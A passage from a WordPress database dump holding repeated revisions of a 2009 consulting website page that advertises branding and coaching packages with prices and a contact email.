verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:44:44', '2009-06-30 21:44:44', '', 138, 'http://www.whitehotcenter.com/138-revision-22/', 0, 'revision', '', 0),
(327, 2, '2009-06-30 14:48:09', '2009-06-30 21:48:09', '', 'power-2', 0, '', 'inherit', 'open', 'open', '', 'power-2', '', '', '2009-06-30 14:48:09', '2009-06-30 21:48:09', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/power-2.gif', 0, 'attachment', 'image/gif', 0),
(328, 2, '2009-06-30 14:46:25', '2009-06-30 21:46:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="alignnone size-full wp-image-323" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:46:25', '2009-06-30 21:46:25', '', 138, 'http://www.whitehotcenter.com/138-revision-23/', 0, 'revision', '', 0),
(334, 2, '2009-06-30 15:03:49', '2009-06-30 22:03:49', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:\r\n1) what you do must matter to you\r\n2) what you do must matter to others</span></h2>\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 15:03:49', '2009-06-30 22:03:49', '', 138, 'http://www.whitehotcenter.com/138-revision-29/', 0, 'revision', '', 0),
(333, 2, '2009-06-30 14:59:39', '2009-06-30 21:59:39', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #333333;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<span style="color: #333333;">1)    what you do must matter to you</span>\r\n\r\n<span style="color: #333333;">2)    what you do must matter to others</span>\r\n\r\n<span style="color: #333333;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:59:39', '2009-06-30 21:59:39', '', 138, 'http://www.whitehotcenter.com/138-revision-28/', 0, 'revision', '', 0),
(329, 2, '2009-06-30 14:48:22', '2009-06-30 21:48:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="alignnone size-full wp-image-323" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 14:48:22', '2009-06-30 21:48:22', '', 138, 'http://www.whitehotcenter.com/138-revision-24/', 0, 'revision', '', 0),
(330, 2, '2009-06-30 14:50:34', '2009-06-30 21:50:34', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to physical form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a 